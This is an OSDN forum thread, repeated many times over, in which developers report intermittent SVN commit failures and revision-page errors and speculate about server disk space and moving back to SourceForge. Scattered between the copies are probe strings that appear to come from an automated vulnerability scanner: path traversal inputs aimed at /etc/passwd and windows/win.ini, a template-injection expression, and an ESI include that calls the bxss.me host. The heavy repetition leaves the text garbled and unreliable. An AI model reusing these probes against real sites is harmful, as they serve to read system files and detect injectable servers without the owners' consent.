I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../../../../../../../../../../../../../../windows/win.ini
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
${10000384+10000072}
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<esi:include src="http://bxss.me/rpb.png"/>
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
